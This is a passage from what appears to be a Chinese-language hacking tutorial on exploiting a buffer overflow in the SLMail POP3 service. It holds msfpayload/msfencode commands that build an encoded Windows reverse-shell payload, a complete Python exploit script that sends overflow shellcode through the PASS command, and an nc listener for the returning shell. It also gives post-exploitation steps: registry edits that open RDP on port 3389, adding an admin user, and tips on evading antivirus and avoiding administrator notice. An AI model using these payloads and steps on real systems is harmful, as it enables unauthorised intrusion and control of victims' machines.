"\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3"

"\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab"

"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51"

"\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6"

"\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6"

"\xff\x77\xfc\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0";

 

因为该shellcode不能存在坏字符，所以我们需要对坏字符进行过滤。

./msfencode -b【编码工具，可将病毒的特征字符编得面目全非，一定程度上可以实现免杀】

root@kali:/usr/share/framework2# ./msfpayload win32_reverse LHOST=192.168.199.112 LPORT=444 C | ./msfencode -b "\x00\x0a\x0d"

root@kali:/usr/share/framework2# ./msfpayload win32_reverse LHOST=192.168.199.112 LPORT=444 R | ./msfencode -b "\x00\x0a\x0d"

[*] Using Msf::Encoder::PexFnstenvMov with final size of 310 bytes

"\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xeb\xa3\x98".

"\x39\x83\xeb\xfc\xe2\xf4\x17\xc9\x73\x74\x03\x5a\x67\xc6\x14\xc3".

"\x13\x55\xcf\x87\x13\x7c\xd7\x28\xe4\x3c\x93\xa2\x77\xb2\xa4\xbb".

"\x13\x66\xcb\xa2\x73\x70\x60\x97\x13\x38\x05\x92\x58\xa0\x47\x27".

"\x58\x4d\xec\x62\x52\x34\xea\x61\x73\xcd\xd0\xf7\xbc\x11\x9e\x46".

"\x13\x66\xcf\xa2\x73\x5f\x60\xaf\xd3\xb2\xb4\xbf\x99\xd2\xe8\x8f".

"\x13\xb0\x87\x87\x84\x58\x28\x92\x43\x5d\x60\xe0\xa8\xb2\xab\xaf".

"\x13\x49\xf7\x0e\x13\x79\xe3\xfd\xf0\xb7\xa5\xad\x74\x69\x14\x75".

"\xfe\x6a\x8d\xcb\xab\x0b\x83\xd4\xeb\x0b\xb4\xf7\x67\xe9\x83\x68".

"\x75\xc5\xd0\xf3\x67\xef\xb4\x2a\x7d\x5f\x6a\x4e\x90\x3b\xbe\xc9".

"\x9a\xc6\x3b\xcb\x41\x30\x1e\x0e\xcf\xc6\x3d\xf0\xcb\x6a\xb8\xe0".

"\xcb\x7a\xb8\x5c\x48\x51\x2b\x0b\x5f\x49\x8d\xcb\x99\x85\x8d\xf0".

"\x11\xd8\x7e\xcb\x74\xc0\x41\xc3\xcf\xc6\x3d\xc9\x88\x68\xbe\x5c".

"\x48\x5f\x81\xc7\xfe\x51\x88\xce\xf2\x69\xb2\x8a\x54\xb0\x0c\xc9".

"\xdc\xb0\x09\x92\x58\xca\x41\x36\x11\xc4\x15\xe1\xb5\xc7\xa9\x8f".

"\x15\x43\xd3\x08\x33\x92\x83\xd1\x66\x8a\xfd\x5c\xed\x11\x14\x75".

"\xc3\x6e\xb9\xf2\xc9\x68\x81\xa2\xc9\x68\xbe\xf2\x67\xe9\x83\x0e".

"\x41\x3c\x25\xf0\x67\xef\x81\x5c\x67\x0e\x14\x73\xf0\xde\x92\x65".

"\xe1\xc6\x9e\xa7\x67\xef\x14\xd4\x64\xc6\x3b\xcb\x68\xb3\xef\xfc".

"\xcb\xc6\x3d\x5c\x48\x39";

 

09.py【“0x90”表示无操作，防止shellcode前部分代码被擦除】

#!/usr/bin/python

import socket

 

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

 

shellcode = (

"\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xeb\xa3\x98"+

"\x39\x83\xeb\xfc\xe2\xf4\x17\xc9\x73\x74\x03\x5a\x67\xc6\x14\xc3"+

"\x13\x55\xcf\x87\x13\x7c\xd7\x28\xe4\x3c\x93\xa2\x77\xb2\xa4\xbb"+

"\x13\x66\xcb\xa2\x73\x70\x60\x97\x13\x38\x05\x92\x58\xa0\x47\x27"+

"\x58\x4d\xec\x62\x52\x34\xea\x61\x73\xcd\xd0\xf7\xbc\x11\x9e\x46"+

"\x13\x66\xcf\xa2\x73\x5f\x60\xaf\xd3\xb2\xb4\xbf\x99\xd2\xe8\x8f"+

"\x13\xb0\x87\x87\x84\x58\x28\x92\x43\x5d\x60\xe0\xa8\xb2\xab\xaf"+

"\x13\x49\xf7\x0e\x13\x79\xe3\xfd\xf0\xb7\xa5\xad\x74\x69\x14\x75"+

"\xfe\x6a\x8d\xcb\xab\x0b\x83\xd4\xeb\x0b\xb4\xf7\x67\xe9\x83\x68"+

"\x75\xc5\xd0\xf3\x67\xef\xb4\x2a\x7d\x5f\x6a\x4e\x90\x3b\xbe\xc9"+

"\x9a\xc6\x3b\xcb\x41\x30\x1e\x0e\xcf\xc6\x3d\xf0\xcb\x6a\xb8\xe0"+

"\xcb\x7a\xb8\x5c\x48\x51\x2b\x0b\x5f\x49\x8d\xcb\x99\x85\x8d\xf0"+

"\x11\xd8\x7e\xcb\x74\xc0\x41\xc3\xcf\xc6\x3d\xc9\x88\x68\xbe\x5c"+

"\x48\x5f\x81\xc7\xfe\x51\x88\xce\xf2\x69\xb2\x8a\x54\xb0\x0c\xc9"+

"\xdc\xb0\x09\x92\x58\xca\x41\x36\x11\xc4\x15\xe1\xb5\xc7\xa9\x8f"+

"\x15\x43\xd3\x08\x33\x92\x83\xd1\x66\x8a\xfd\x5c\xed\x11\x14\x75"+

"\xc3\x6e\xb9\xf2\xc9\x68\x81\xa2\xc9\x68\xbe\xf2\x67\xe9\x83\x0e"+

"\x41\x3c\x25\xf0\x67\xef\x81\x5c\x67\x0e\x14\x73\xf0\xde\x92\x65"+

"\xe1\xc6\x9e\xa7\x67\xef\x14\xd4\x64\xc6\x3b\xcb\x68\xb3\xef\xfc"+

"\xcb\xc6\x3d\x5c\x48\x39")

 

buffer = 'A' * 2606 + "\xe3\x41\x4b\x5f" + "\x90" * 8 + shellcode

 

try:

print "\nSending evil buffer..."

s.connect(("192.168.199.199",110))

data = s.recv(1024)

s.send("USER test"+"\r\n")

data = s.recv(1024)

s.send("PASS "+buffer+"\r\n")

s.close()

print "\nDone!."

except:

print "Could not connect to POP3!"

本地侦听 nc -nvlp 444

发送shellcode，成功接收到回连的shell

# 可完美地重复连接，但有些shellcode执行结束会以exitprocess方式退出整个进程，将导致邮件服务奔溃，会引起管理员注意，不过新版本的metasploit已经进行优化。

 

##因Slmail是一个基于线程的应用，使用ExitThread方式可以避免整个服务崩溃，可是实现重复溢出

./msfpayload win32_reverse LHOST=192.168.1.127 EXITFUNC=thread LPORT=444 R | ./msfencode -b "\x00\x0a\x0d"

############################################################################################

对命令行模式的getshell不适应，可进入图形化界面

1、在此基础上ftp下载一个图形化木马管理程序

2、使用RDP打开windows系统的远程桌面【可通过修改注册表键值】

cmd命令行下开启3389

C:\>echo Windows Registry Editor Version 5.00>3389.reg

C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg

C:\>echo "fDenyTSConnections"=dword:00000000>>3389.reg

C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg

C:\>echo "PortNumber"=dword:00000d3d>>3389.reg

C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg

C:\>echo "PortNumber"=dword:00000d3d>>3389.reg

C:\>regedit /s 3389.reg

C:\>shutdown -r now

 

 

##在kali上安装远程桌面

apt-get install rdesktop

rdesktop 192.168.199.199

 

####

可在命令行窗口模式下修改用户密码，或增加用户和密码获得管理权限

net user test pass /ad

 

打开防火墙的3389端口，也可以用修改注册表来实现【windows系统下几乎所有操作都可用修改注册表来实现】

 

##可使用regsnap【进行注册表实现现状快照，可通过比较修改注册表前后键值变化，找出具体目标，动作需快速】

 

在xp下安装ptp

运行---appwiz.ctl---添加删除windows组件

 

交互式shell

nc获得的是非交互性shell，ftp无法执行

使用tftp